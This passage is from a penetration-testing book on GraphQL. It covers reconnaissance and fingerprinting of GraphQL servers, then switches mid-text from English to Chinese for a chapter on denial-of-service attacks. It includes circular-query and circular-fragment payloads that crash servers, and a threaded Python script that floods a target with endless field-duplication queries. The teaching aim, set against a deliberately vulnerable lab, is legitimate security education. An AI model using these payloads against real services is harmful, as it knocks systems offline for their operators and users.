service and version scan. The command in Listing 4-19 shows how this is accomplished. ``` # **nmap --script=graphql-introspection -iL hosts.txt -sV -p 5013** PORT STATE SERVICE VERSION 5013/tcp open http Ajenti http control panel | graphql-introspection: | VULNERABLE: | GraphQL Server allows Introspection queries at endpoint: | Endpoint: /graphql is vulnerable to introspection queries! | State: VULNERABLE | Checks if GraphQL allows Introspection Queries. | | References: |_ https://graphql.org/learn/introspection/ ``` Listing 4-19: A GraphQL introspection detection with the Nmap NSE Using `nmap` to detect when introspection is enabled is just the first step. The next step is to extract all possible schema information by using a more robust query. In the book’s GitHub repository, you can find a comprehensive introspection query that, when executed, will extract a lot of useful information about the target’s schema: [`github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt`](https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt). This query will return information such as queries, mutations, and subscriptions names, with the arguments they accept; names of objects and fields, along with their types; names and descriptions of GraphQL directives; and object relationships. If you run that query in Altair, the server should return a fairly large response, as shown in Figure 4-6. ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f04006.png) Figure 4-6: An introspection in Altair The response is large enough (containing approximately 2,000 lines) that it would be challenging for any human to go through it manually and make sense of it without investing a significant amount of time. This is where GraphQL visualizers such as *GraphQL Voyager* come in handy. ### Visualizing Introspection with GraphQL Voyager GraphQL Voyager, which can be found at either [`ivangoncharov.github.io/graphql-voyager`](https://ivangoncharov.github.io/graphql-voyager) or [`lab.blackhatgraphql.com:9000`](http://lab.blackhatgraphql.com:9000), is an open source tool that processes either introspection query responses or GraphQL SDL files and visualizes them, making it easy to identify the various queries, mutations, and subscriptions and the relationships between them. The tool’s introspection query option is most suitable for scenarios such as black-box penetration tests, in which the application’s code base is not accessible to us. The SDL option is useful when we might have direct access to the GraphQL schema files, such as during a white-box penetration test in which the company provides us with full access to the source code. Try visualizing the introspection query response you just received in Altair and importing it into GraphQL Voyager. Copy the response and then open your browser and navigate to GraphQL Voyager. Click the **Change Schema** button located at the top-left corner. Select the **Introspection** tab, paste in the response, and click the **Display** button. You should see a visualization similar to the one shown in Figure 4-7. ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f04007.png) Figure 4-7: The schema view in Voyager The visualization we receive from Voyager represents the queries, mutations, and subscriptions available in our target application and how they relate to the different objects and fields that exist in the schema. Under Query, you can see that the application supports 12 queries. The arrows in the view represent the mapping between these queries and the schema objects. For example, when you use the `pastes` query, it will return an array of `[PasteObject]` objects, which is also the reason you’re seeing an arrow pointing to the `PasteObject` table. The `system` queries (update, diagnostics, debug, and health) are not tied to any other schema objects; they simply return a string whenever you use them. You can also see that we have relationships (edges) between fields. For example, the `owner` field in the `PasteObject` object is linked to `OwnerObject`, and the `paste` field in `OwnerObject` is linked back to `PasteObject`. This circular condition could lead to DoS conditions, as you will learn in Chapter 5. Now that we’ve experimented with visualizing an introspection response in Voyager, let’s do the same with SDL files. Voyager accepts SDL files and can process them just as well as it does introspection responses. To see this in action, click the **Change Schema** button located at the top-left corner in Voyager, select the **SDL** tab, and paste in the SDL file located at [`github.com/dolevf/Black-Hat-GraphQL/blob/master/ch04/sdl.graphql`](https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch04/sdl.graphql). Then click the **Display** button. You should see a similar visualization to the one generated in the Introspection tab. ### Generating Introspection Documentation with SpectaQL *SpectaQL* ([`github.com/anvilco/spectaql`](https://github.com/anvilco/spectaql)) is an open source project that allows you to generate static documentation based on an SDL file. The document that gets generated will include information about how to construct queries, mutations, and subscriptions; the different types; and their fields. We’ve hosted an example SpectaQL-generated schema of DVGA at [`lab.blackhatgraphql.com:9001`](http://lab.blackhatgraphql.com:9001) so you can see how SpectaQL looks when it’s functional. ### Exploring Disabled Introspection At some point, you’ll probably encounter a GraphQL API that has introspection disabled. To see what this looks like, let’s use one of the neat features of our vulnerable GraphQL server: turning on its hardened mode. The DVGA works in two modes, a Beginner mode and an Expert (hardened) mode. Both versions are vulnerable; the only difference is that the Expert mode has a few security mechanisms to protect the application from any dangerous queries. To change the application’s mode, open the Altair client and ensure that the address points to *http://localhost:5013/graphql*. In the left sidebar, click the Set Headers icon, which looks like a small sun symbol. Set **Header Key** to **X-DVGA-MODE** and set **Header Value** to **Expert**. This HTTP header set instructs DVGA to perform security checks on any incoming queries that include the headers as part of the request. Alternatively, you can toggle on Expert mode from within DVGA’s web interface by using the drop-down menu located at the top-right corner (the cubes icon). Now attempt a simple introspection query using Altair: ``` **query {** **__schema {** **__typename** **}** **}** ``` You should see an error response indicating that introspection is disabled, causing the query to fail (Listing 4-20). ``` { "errors": [ { "message": "400 Bad Request: Introspection is Disabled", "locations": [ { "line": 2, "column": 7 } ], "path": [ "__schema" ] } ], "data": null } ``` Listing 4-20: An error returned when introspection is disabled In cases like this one, you’ll need a plan B. In Chapter 6, you’ll learn how to discover information about the GraphQL application even if introspection data isn’t available. ## Fingerprinting GraphQL Earlier in this chapter, we highlighted the many GraphQL implementations available. How can we tell which one is running on the server we’re trying to hack? The answer is *server* *fingerprinting*, the operation of identifying information about the target’s running services and their versions. For example, a common and simple technique for fingerprinting web servers is to make an HTTP HEAD request using a tool like cURL and observe the HTTP response headers that are returned. Once we know the specific technology and version running an application, we can perform a more accurate vulnerability assessment against the service. For example, we can look for publicly available exploits to run against the target’s version or read the software’s documentation to identify weaknesses. Popular web servers such as Apache or Nginx are great examples of services that are easy to fingerprint, since both typically set the `server` HTTP response header when a client makes a request to them. Listing 4-21 shows an example of how the web server behind the Apache Software Foundation website identifies itself by using the `server` header: ``` # **curl -I https://apache.org/** HTTP/2 200 server: Apache vary: Accept-Encoding content-length: 73190 ``` Listing 4-21: The Apache web server fingerprinting using a HEAD request As expected, the Apache Software Foundation’s website is, in fact, running on the Apache web server. (It would have been a little odd if this were not the case!) Fingerprinting services in a penetration test won’t always be this easy; sometimes accurate fingerprinting requires looking closely at the details, as not all software self-identifies, including GraphQL servers. The techniques used to fingerprint GraphQL implementations are relatively new in the security industry. We (the authors of this book) have developed several strategies for doing so, based on our research, and incorporated them into Graphw00f. GraphQL fingerprinting relies on the observation of various discrepancies between implementations of GraphQL servers. Here are a few examples: * Inconsistencies in error messages * Inconsistencies in response outputs to malformed GraphQL queries * Inconsistencies in response outputs to properly structured queries * Inconsistencies in response outputs to queries deviating from the GraphQL specification Using all four of these factors, we can uniquely identify the implementation behind a GraphQL-backed application. Let’s examine how two GraphQL server implementations respond to a malformed query. This query, shown in Listing 4-22, introduces an additional `y` character in the word `queryy`, which is not compliant with the GraphQL specification. We want to see how two GraphQL implementations respond to it. The first implementation is Sangria, a Scala-based GraphQL server. ``` queryy { __typename } ``` Listing 4-22: A malformed GraphQL query Listing 4-23 shows Sangria’s response to the malformed query. ``` { "syntaxError": "Syntax error while parsing GraphQL query. Invalid input \"queryy\", expected ExecutableDefinition or TypeSystemDefinition (line 1, column 1):\nqueryy {\n^", "locations": [ { "line": 1, "column": 1 } ] } ``` Listing 4-23: Sangria’s response to the malformed query The second implementation is HyperGraphQL, a Java-based GraphQL server. Listing 4-24 shows how it responds to the malformed query. ``` { "extensions": {}, "errors": [ { "message": "Validation error of type InvalidSyntax: Invalid query syntax.", "locations": [ { "line": 0, "column": 0, "sourceName": null } ], "description": "Invalid query syntax.", "validationErrorType": "InvalidSyntax", "queryPath": null, "errorType": "ValidationError", "extensions": null, "path": null } ] } ``` Listing 4-24: HyperGraphQL’s response to the malformed query As you can observe, the two responses are different in every possible way, and we can distinguish between these implementations based solely on their responses. Next, we’ll attempt the same malformed query in our lab against the DVGA to see the kind of response we get. Open the Altair client and send the GraphQL query. You should see output similar to Figure 4-8. As you can see, the output is different from both the Sangria and HyperGraphQL responses. This is because DVGA is based on Graphene, a Python GraphQL implementation. ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f04008.png) Figure 4-8: Sending a malformed query with Altair Running queries manually and analyzing the discrepancies between implementations doesn’t really scale well, which is why we built a server fingerprinting capability into Graphw00f. In the next section, we’ll use it for server fingerprinting purposes. ### Detecting Servers with Graphw00f Graphw00f is currently the only tool available for GraphQL server fingerprinting. It can detect many of the popular GraphQL server implementations and provide meaningful information whenever it successfully fingerprints a server. In your lab, open the terminal emulator. If you enter the *graphw00f* directory and run `python3 main.py -l`, you’ll see that Graphw00f is capable of fingerprinting over 24 GraphQL implementations. This list comprises the majority of GraphQL targets currently in use. Let’s use it to fingerprint the DVGA. We’ll run Graphw00f with the `-f` flag to enable fingerprint mode and the `-t` flag to specify the target (Listing 4-25). You could combine the `-f` flag with the `-d` flag (covered earlier in this chapter) if you wanted to detect GraphQL and fingerprint at the same time. Here, we’ll use the `-f` flag on its own, as we already know the path to GraphQL on the server. ``` # **cd ~/graphw00f** # **python3 main.py -f -t http://localhost:5013/graphql** [*] Checking if GraphQL is available at http://localhost:5013/graphql... [!] Found GraphQL. [*] Attempting to fingerprint... [*] Discovered GraphQL Engine: (Graphene) [!] Attack Surface Matrix: https://github.com/nicholasaleks /graphql-threat-matrix/blob/master/implementations/graphene.md [!] Technologies: Python [!] Homepage: https://graphene-python.org [*] Completed. ``` Listing 4-25: The fingerprinting of a GraphQL server The tool first checks whether the target is, in fact, a GraphQL server. It does so by sending a few queries and inspecting their responses against its own database of signatures. As you can see, it is able to discover a GraphQL server running on Graphene and provides us with an attack surface matrix link. The *attack surface matrix* is essentially knowledge about the security posture of the various GraphQL implementations that Graphw00f can fingerprint. Graphw00f uses the GraphQL Threat Matrix we discussed in Chapter 3 as its implementation security posture database. Since we now know that DVGA runs Graphene, we need to analyze Graphene’s weaknesses to determine which attacks we can run against this specific implementation. Some implementations have been around longer than others. Thus, they are more mature, stable, and offer more security features than others. This is why knowing the backend implementation is an advantage when we hack a GraphQL target. ### Analyzing Results Take a look at the attack surface threat matrix, which provides information about the implementation’s default behavior and the security controls available for it (for example, the settings that are enabled by default, the security controls that exist, and other useful features we can leverage for hacking purposes). Figure 4-9 shows the attack surface matrix for Graphene. You can also find it on GitHub at [`github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md`](https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md). ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/blkht-gql/img/f04009.png) Figure 4-9: Graphene’s attack surface matrix The table under Security Considerations shows various GraphQL features and whether they are available in Graphene. If they do exist, the table lists whether they are enabled or disabled by default. Some of the items in the table are security controls, while others are native GraphQL features: * *Field Suggestions* informs a client whenever they send a query with a spelling mistake and suggests alternative options. This can be leveraged for information disclosure. * *Query Depth Limit* is a security control to prevent DoS attacks that may abuse conditions such as cyclical node relationships in schemas. * *Query Cost Analysis* is a security control to prevent DoS attacks that stem from computationally complex queries. * *Automatic Persisted Queries* is a caching mechanism. It allows the client to pass a hash representing a query as a way to save bandwidth and can be used as a security control with an allow list of safe queries. * *Introspection* provides access to information about queries, mutations, subscriptions, fields, objects, and so on through the __`schema` meta-field. This can be abused to disclose information about the application’s schema. * *Debug Mode* is a mode in GraphQL that provides additional information in the response for debugging purposes. This can potentially introduce information disclosure issues. * *Batch Requests* is a feature that provides clients with the ability to send a sequence of queries in a single HTTP request. Batch queries are a great vector for DoS attacks. In later chapters, you’ll learn how each of these features can make our hacking lives easier (or harder). ## Summary In this chapter, you learned the art of performing reconnaissance against GraphQL servers by using a variety of security tools. We discussed how to detect and fingerprint GraphQL servers deployed in standard and nonstandard locations, as well as how to find GraphQL IDE clients by using the EyeWitness security tool. We also visualized an introspection query and SDL files by using GraphQL Voyager to better understand queries, mutations, and object relationships.````

第五章:拒绝服务攻击

DoS 问题是当今 GraphQL 中最普遍的漏洞类型之一。在本章中,你将学习 GraphQL 的声明式查询语言如何也可能成为它的阿基里斯之踵。我们将识别出如果应用开发者未实现有效的安全防御措施,可能会导致服务器资源耗尽的 DoS 攻击机会。

尽管 DoS 漏洞在渗透测试报告或奖励计划中通常不被归类为关键漏洞,但它们在 GraphQL 应用中足够常见,因此无论是从攻击者的角度,还是作为防御者,都有必要熟悉它们。

GraphQL DoS 攻击向量

GraphQL 的一大亮点功能是其声明式查询语言,允许客户端从服务器请求非常复杂的数据结构。这个功能使客户端处于强势地位,因为客户端可以选择服务器应该返回的响应。鉴于这种能力,GraphQL 服务器必须具备保护自己免受来自不可信客户端的恶意查询的能力。如果客户端构造出一个服务器处理起来非常昂贵的查询,它可能会耗尽服务器资源。此类攻击可能会通过导致停机或降低服务器性能来影响应用的可用性。

在 GraphQL 的世界中,几个 DoS 向量可能会导致资源耗尽的情况:循环查询(也称为 递归查询)、字段重复、别名重载、指令重载、循环片段和对象数量限制覆盖。在本章中,你将了解每种漏洞、如何在渗透测试中测试它们,以及如何使用 DoS 利用代码来滥用它们。在章节的最后,我们将讨论试图缓解这些威胁的安全控制措施。

常见弱点枚举(CWE)系统将这些类型的 DoS 攻击向量归类为 无控制的资源消耗。滥用这些向量可能导致过度消耗中央处理器(CPU)周期、显著的服务器内存使用,或填满磁盘空间,从而阻止其他进程写入文件系统。以下是一些示例,说明客户端如何构造查询以触发这些条件:

  • 客户端发送一个包含一个复杂查询的单一请求。

  • 客户端发送一个包含多个复杂查询的单一请求。

  • 客户端发送多个并行请求,每个请求包含一个复杂查询。

  • 客户端发送多个并行请求,每个请求包含多个复杂的查询。

  • 客户端向服务器请求大量对象。

某些 DoS 向量的出现,部分原因是一些 GraphQL 实现中引入的附加功能,这些功能可能作为基础安装包的一部分或作为附加库引入,而其他向量则存在于原生的 GraphQL 功能中。

循环查询

也称为递归查询循环查询发生在 GraphQL 架构中的两个节点通过边相互引用时。这种循环引用可能导致客户端构建复杂的查询,每次查询完成一个“循环”时,服务器返回一个指数级增长的响应。

在本节中,我们将深入探讨循环关系以及它们在 GraphQL 架构中的表现方式。我们将使用多种工具,如架构可视化工具 GraphQL Voyager、Altair、InQL 和 GraphQL Cop,来识别有风险的设计模式,并测试我们的目标应用程序是否存在这些漏洞。

GraphQL 架构中的循环关系

GraphQL 的 SDL 允许我们定义多个类型来表示应用程序的数据模型。这些类型可以以某种方式互相连接,使得客户端可以在它们之间“跳跃”,如果它们是相互链接的。这种条件被称为循环关系循环引用

例如,在前面的章节中,我们提到 DVGA 目标应用程序允许用户创建代码片段(称为粘贴)并将其上传到应用程序中。一个粘贴可能包含标题和一些内容(如代码或其他任意文本)。在 GraphQL 的 SDL 中,这些信息可以按以下方式表示:

type Paste {
  title: String
  content: String
}

目前这些信息是相当有限的。如果我们想扩展我们的应用程序,使得当客户端上传粘贴内容时,我们能够识别是哪一个客户端上传的呢?例如,我们可以捕获一些关于上传者的元数据,如他们的 IP 地址或用户代理字符串。

目前,我们的数据模型并没有按照允许在 API 中表示这种类型信息的方式进行结构化,但扩展它是一个相对简单的过程。我们可以通过以下方式向Paste对象添加额外的字段:

type Paste {
  title: String
  content: String
 **user_agent: String**
 **ip_address: String**
}

另一种实现这一目标的方式是将客户端的元数据与Paste对象解耦。我们可能会出于多个原因选择这样做,比如更好地分离关注点,以及能够独立扩展 GraphQL 类型。我们可以创建一个单独的类型,叫做Owner

type Owner {
  ip_address: String
  user_agent: String
  name: String
}

我们现在有两个对象类型,PasteOwner。如果我们想要揭示某个粘贴的所有者,我们可以将这两个类型连接在一起。我们可以做出类似以下的架构调整,为Paste类型添加一个名为owner的字段,引用Owner类型:

type Paste {
  title: String
  content: String
  user_agent: String
  ip_address: String
 **owner: Owner**
}

现在,客户端可以请求有关粘贴的所有者信息,比如所有者的 IP 地址或用户代理。清单 5-1 展示了完整的示例架构。

type Paste {
    title: String
    content: String
    user_agent: String
    ip_address: String
    owner: Owner
}

 type Owner {
    ip_address: String
    user_agent: String
    pastes: [Paste]
    name: String
}

清单 5-1:架构中的循环引用

这两个对象类型,PasteOwner,有相互引用的字段。Paste对象类型有一个owner字段,引用Owner对象,而Owner类型有一个pastes字段,引用Paste类型。这就形成了一个循环条件。

恶意客户端可能通过强制 GraphQL 服务器的函数解析器进行循环,从而引发递归。这可能会影响服务器的性能。以下查询示例展示了这样的循环查询是如何呈现的:

query {
  pastes {
    owner {
      pastes {
        owner {
          pastes {
            owner {
              name
            }
          }
 }
      }
    }
  }
}

这个查询执行起来很简单,但会导致 GraphQL 服务器返回一个指数级增长的响应。查询中的循环越多,响应就越大。

圆形关系在 GraphQL API 中很常见。在模式设计中,这并不算反模式,但除非应用能够优雅地处理复杂查询,否则应该避免使用。

如何识别循环关系

识别循环查询通常需要对 GraphQL 模式有深入了解。在白盒渗透测试中,我们可能可以访问 SDL 文件。在黑盒渗透测试中,我们可能会幸运地发现应用程序的开发人员启用了自省功能。

在任何情况下,你都应该使用静态代码分析方法审查模式文件,检查对象之间的双向关系,或通过将自省查询的结果导入到像 GraphQL Voyager 这样的模式可视化工具中来进行分析。此外,某些专门的 GraphQL 安全工具,如 InQL,尝试以更动态的方式发现循环关系,方法是发现模式并分析其类型及其关系。

使用模式定义语言文件

让我们对一个示例 SDL 文件进行安全审查,以识别异常。请参考书中 GitHub 仓库中的模式文件 github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/sdl.graphql。这个 SDL 文件是 DVGA 的模式表示,定义了所有查询、变更和订阅,其中还包括对象类型和字段。

将模式文件下载到实验室计算机上,方法是将其复制并保存为名为 sdl.graphql 的文件。然后在文本编辑器中打开该文件进行查看。在我们强调问题所在之前,尝试找出任何导致双向对象关系的关系字段。

以下摘录展示了具有双向引用的对象:

type PasteObject {
  `--snip--`
  id: ID!
  ipAddr: String
  ownerId: Int
 burn: Boolean
❶ owner: OwnerObject
  `--snip--`
}

type OwnerObject {
  id: ID!
  name: String
❷ paste: [PasteObject]
  `--snip--`
}

模式定义了 PasteObjectowner 字段的自定义类型 OwnerObject ❶。然后定义了类型为 [PasteObject]paste 字段 ❷。[PasteObject] 中的方括号表示 PasteObject 类型的对象数组。如你所见,这些对象相互交叉引用,使用这些类型的客户端可能会滥用它们进行拒绝服务攻击(DoS)。

使用 GraphQL Voyager

小型 SDL 文件易于审查。SDL 文件越大,识别反模式和手动审计安全问题就越具挑战性。让我们可视化一个模式,这个技巧可以在审计更大且更复杂的模式定义时提供帮助。

将你之前下载的 SDL 文件上传到 GraphQL Voyager(托管在 lab.blackhatgraphql.com:9000 或者 ivangoncharov.github.io/graphql-voyager)中,通过点击 更改模式 按钮并将 SDL 文件复制到 SDL 标签下的框中。图 5-1 显示了 Voyager 如何展示 PasteObjectOwnerObject 之间的循环引用关系。

图 5-1:GraphQL Voyager 中的对象关系

GraphQL Voyager 会高亮显示自定义对象类型,如 OwnerObjectPasteObject,并使用箭头指示对象关系。当你识别到这种关系时,假设该应用程序存在漏洞,直到你执行测试来检查其防止循环查询的能力。

你也可以将 Voyager 中的 introspection 响应输出粘贴进去,以生成与之前章节相同的模式可视化表示。

使用 InQL

识别循环查询的另一种方法是使用 InQL 安全审计工具。我们在第二章中已在实验中安装了 InQL。InQL 的主要功能之一是能够自动检测循环关系。InQL 可以通过命令行读取由 introspection 查询生成的 JSON 文件。或者,如果目标 GraphQL 服务器支持 Introspection,它也可以直接发送 introspection 查询。

让我们使用 Altair 运行一个 introspection 查询。我们将把响应保存为 JSON 文件存储在我们的文件系统中,这样 InQL 就可以读取、解析并遍历模式,查找循环关系。

在你的实验机上,打开 Altair,并将地址栏中的 URL 设置为 http://localhost:5013/graphql。复制位于 github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt 的 introspection 查询,并将其粘贴到 Altair 中(图 5-2)。然后点击 发送请求 将查询发送到 DVGA。

图 5-2:Altair 中的 introspection 查询

一旦成功返回响应,点击 Altair 右下角的 下载 按钮,将响应以 JSON 格式下载。将文件保存为 introspection_query.json,并存储在主文件夹 /home/kali 下。

接下来,打开终端。为了执行循环查询检查,我们将传递三个标志给 InQL:-f 标志,用于使用我们下载的 JSON 文件;--generate-cycles 标志,用于执行循环查询检测检查;以及 -o 标志,用于将输出写入指定的文件夹。以下命令将这些标志组合起来执行循环查询检测:

# inql -f /home/kali/introspection_query.json --generate-cycles -o dvga_cycles
[!] Parsing local schema file
[+] Writing Introspection Schema JSON
[+] Writing query Templates
Writing systemUpdate query
Writing pastes query
[+] Writing mutation Templates
Writing createPaste mutation
[+] Writing Query Cycles to introspection_query
[+] DONE

检查完成后,你会注意到 InQL 创建了一个dvga_cycles文件夹。在此文件夹中,寻找一个以cycles为开头的文本文件;该文件将包含脚本执行的结果。你可以运行以下命令查看检查结果:

# cat dvga_cycles/introspection_query/cycles*

Cycles(
        { OwnerObject -[paste]-> PasteObject -[owner]-> OwnerObject }
        { OwnerObject -[pastes]-> PasteObject -[owner]-> OwnerObject }
)

InQL 能够在架构中找到存在循环关系的路径,特别是在PasteObjectOwnerObject节点之间。在背后,InQL 通过两种主要的图算法遍历 JSON 文件:

  • Tarjan 算法,以其发明者 Robert Tarjan 命名,用于查找图中的循环关系,其中节点通过边连接,每条边都有一个方向。

  • Johnson 算法,以其发明者 Donald B. Johnson 命名,用于查找图中每一对节点之间的最短路径。

InQL 还可以通过直接连接到 GraphQL API 并获取内部信息来运行相同的检查。为此,使用-t标志来指定目标:

# inql -t http://localhost:5013/graphql --generate-cycles -o dvga_cycles
[+] Writing Introspection Schema JSON
[+] DONE
Writing pastes query
[+] Writing mutation Templates
Writing importPaste mutation
[+] DONE
[+] Writing Query Cycles to localhost:5013

-t选项允许我们在有多个主机列表需要测试时,扩展此检查。示例 5-2 展示了如何将主机添加到名为hosts.txt的文件中。

# cd ~
# echo 'http://localhost:5013/graphql' > hosts.txt
# cat hosts.txt
http://localhost:5013/graphql

示例 5-2:包含目标 GraphQL 服务器的文件

示例 5-3 展示了如何编写一个 Bash 循环,通过读取hosts.txt文件测试多个主机。

for host in $(cat hosts.txt); do
    inql -t "$host" --generate-cycles
done

示例 5-3:一个 Bash for循环,用于遍历目标主机并对每个主机运行 InQL

for循环将逐行读取hosts.txt文件,并将每一行分配给host变量。InQL 将使用这个变量作为目标。这个技术使我们能够以自动化的方式测试多个 URL。

如果你尝试在大型应用程序上运行 InQL,建议使用--cycles-timeout标志来设置循环检查的超时时间。这样可以确保在查找循环查询时,如果目标架构较大,应用程序不会挂起。

循环查询漏洞

现在你知道如何通过多种工具识别循环查询,让我们看看发送一个循环查询会如何影响 DVGA 应用程序。我们将构造一个特别的 GraphQL 查询,利用我们发现的循环关系,执行一个深度递归请求。

成功的循环查询会导致服务器负载过重,甚至可能崩溃。因此,测试循环查询可能存在风险。为了安全起见,我们将提供循环查询的安全版和不安全版。安全版的循环性会比不安全版少,因此你可以在实验室中安全地进行实验,而不会导致目标崩溃。

打开 Altair 并复制来自github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/safe-circular-query.graphqlsafe-circular-query.graphql文件。示例 5-4 展示了这个查询。

query {
  pastes {
    owner {
      pastes {
        owner {
          name
        }
      }
    }
  }
}

示例 5-4:GraphQL 中的递归查询

正如其名称所示,safe-circular-query.graphql 是循环查询的更安全版本。在此查询中,我们请求应用程序上所有粘贴的所有者名称,只不过我们是在循环中执行此操作,这会指数级地增加 GraphQL 服务器需要加载的对象数量。将查询粘贴到 Altair 中,并在服务器上运行它,以证明循环查询的概念。

循环 introspection 漏洞

GraphQL 内建的 introspection 系统中存在循环关系。因此,当启用 introspection 时,你可能会直接接触到一个循环查询。

introspection 系统有其自己的模式,在官方的 GraphQL 规范文档中进行了定义。以下是其中的摘录:

type __Schema {
  `--snip--`
  types: ❶ [__Type!]!
  queryType: __Type!
  mutationType: __Type
  subscriptionType: __Type
  directives: [__Directive!]!
  `--snip--`
}

type ❷ __Type {
  `--snip--`
  name: String
  description: String
  fields(includeDeprecated: Boolean = false): ❸ [__Field!]
  `--snip--`
}

type ❹ __Field {
  `--snip--`
  name: String!
  description: String
  args: [__InputValue!]!
  type: ❺ __Type!
  isDeprecated: Boolean!
  `--snip--`
}

在 ❶ 处,定义了 __Schema 对象类型的 types 字段。你可以看到 types 被设置为 [__Type!],这意味着它使用了在 ❷ 处定义的 __Type 对象。方括号和感叹号表示 types 字段将返回一个非空的 __Type 对象数组。

__Type 对象有一个名为 fields 的字段,设置为 ❸,类型为 [__Field!]。这将返回一个非空的数组,包含 __Field 对象。在 ❹ 处,定义了 __Field 类型。此类型有一个名为 type 的字段,位于 ❺,引用了 __Type 对象。正如你所看到的,我们在 __Type.fields__Field.type 之间有一个循环关系。

你可以通过在 Altair 中运行以下查询来轻松测试这种循环关系:

query {
  __schema {
    types {
      fields {
        type {
          fields {
            type {
              fields {
                name
              }
            }
          }
        }
      }
    }
  }
}

这样的循环查询相对容易被利用。虽然单个查询可能无法使服务器崩溃,但一系列复杂的查询有可能会影响服务器的性能。

循环片段漏洞

如第三章所述,GraphQL 操作可以通过使用片段共享逻辑。片段由客户端定义,因此客户端可以将其所需的任何逻辑构建到片段中。也就是说,GraphQL 规范文档包含了有关片段如何实现的规则,包括以下这一条:

片段传播的图形不能形成任何循环,包括自我传播。否则,某个操作可能会无限传播或在底层数据中无限执行循环。

让我们探索如何构建片段来形成循环并导致拒绝服务(DoS)。在 DVGA 中,运行以下查询,使用名为 Start 的片段在 PasteObject 对象上。pastes 字段使用 ...Start 语法来引用此片段:

query {
  pastes {
 **...Start**
  }
}

fragment **Start** on **PasteObject** {
  title
  content
}

当查询被执行时,它会返回 pastesfieldcontent 字段:

"pastes": [
  {
    "title": "My Title",
    "content": "My First Paste"
  }
]

现在,如果我们添加另一个名为 End 的片段,它使用了 Start 片段,并且修改 Start 片段以使用 End 片段,会发生什么呢?这里会出现一个有趣的条件:

query CircularFragment {
  pastes {
    **...Start**
  }
}

fragment **Start** on PasteObject {
  title
  content
  **...End**
}

fragment **End** on PasteObject {
  **...Start**
}

这个条件导致了无限执行,正如 GraphQL 规范所建议的那样。尝试在实验室中对这个查询进行实验。

如果你运行了查询,你应该已经看到服务器崩溃了!你可能会想,所有的 GraphQL 服务器都容易受到这种攻击吗?简短的回答是,不是的,如果 GraphQL 服务器符合规范的话。一个符合规范的 GraphQL 服务器应该在执行查询前拒绝这种类型的查询。不过,你永远不知道在渗透测试中何时会遇到完全定制的实现,因此了解这种技术是值得的。

字段重复

字段重复漏洞指的是包含重复字段的查询。它们易于执行,但不如循环查询有效。

虽然循环查询是小型查询,但它会导致异常大的响应,字段重复则是大型查询,因处理和解析所需的时间会耗尽服务器资源。为了有效地通过使用字段重复来滥用 GraphQL API,你必须不断发送查询,以保持服务器资源的持续占用。

理解字段重复如何工作

要理解字段重复如何工作,可以参考以下的 GraphQL 查询:

query {
  pastes {
     title
     content
  }
}

这个查询返回应用程序中所有粘贴的 titlecontent 字段。当 GraphQL 接收到这个查询时,它将使用查询解析器来提供每个请求的字段。

如果我们在查询中“填充”额外的字段,GraphQL 将被迫分别解析每个字段。这种行为可能会增加服务器的负担,导致性能下降,甚至完全崩溃。

这里的策略相当简单:选择一个你认为可能需要较多资源来解析的字段,并将查询填充上该字段名称的额外副本。列表 5-5 展示了一个示例查询。

query {
  pastes {
     title
     content
     content
     content
     content
     content
  }
}

列表 5-5:包含重复字段的 GraphQL 查询

当查询包含多个重复字段时,像列表 5-5 中那样,其中 content 被重复了五次,你可能会期待在响应中看到这五个相同的字段。实际上,GraphQL 会将响应合并,只显示一个 content JSON 字段:

{
  "data": {
    "pastes": [
      {
        "title": "My Title",
        "content": "My First Paste"
      }
    ]
  }
}

从客户端的角度来看,可能会觉得 GraphQL 忽略了我们重复的字段。幸运的是,事实并非如此。通过响应时间分析,你可以看到查询对服务器的影响。除非服务器已实现特定的安全防御措施,例如查询成本分析(本章后续会介绍),否则你应该期望在大多数 GraphQL 实现中看到这些漏洞。

测试字段重复漏洞

为了在我们的实验室中测试字段重复攻击,我们将编写一个简单的查询,并尝试重复几个选定的字段,看看目标如何响应。

打开 Altair,并确保地址栏设置为 http://localhost:5013/graphql。在左侧面板中,输入以下查询,它将作为基准:

**query {**
 **pastes {**
 **content**
 **}**
**}**

点击发送来查询 GraphQL。在响应部分,你会注意到 Altair 提供了服务器响应所需的总时间(以毫秒为单位),如图 5-3 所示。

DVGA 响应查询的时间为 26 毫秒,这是一个正常的响应时间。你在实验室中可能看到的时间会有所不同,但应该在同一数量级内。

图 5-3:Altair 响应时间指示器

接下来,复制来自github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/field-duplication.graphql的查询,将其粘贴到 Altair 中并运行。该查询包含大约 1,000 个content字段。图 5-4 显示,处理此查询需要 958 毫秒,比正常慢了 36 倍!

图 5-4:查询重复字段的响应时间较慢

有些字段在解析时需要更多的资源,因此性能影响可能会根据选择的字段而有所不同。

这个攻击要求客户端不断发送大型有效载荷。试图手动利用字段重复可能会很麻烦。作为一种替代方法,你可以使用一个特殊的 Python 漏洞,尝试在更大规模上执行字段重复攻击。清单 5-6 展示了这种漏洞的代码片段。它向远程服务器发送连续的查询流,以消耗其资源。

THREADS = 50

❶ payload = 'content \n title \n' * 1000
❷ query = {'query':'query { \n ' + payload + '}'}

❸ def DoS():
    try:
      r = requests.post(GRAPHQL_URL, json=query)
      print('Time took: {} seconds '.format(r.elapsed.total_seconds()))
      print('Response:', r.json())
    except Exception as e:
      print('Error', e.message)

❹ while True:
    print('Running...')
    time.sleep(2)
    for _ in range(THREADS):
      t = threading.Thread(target=DoS, args=())
      t.start()

清单 5-6:字段重复漏洞

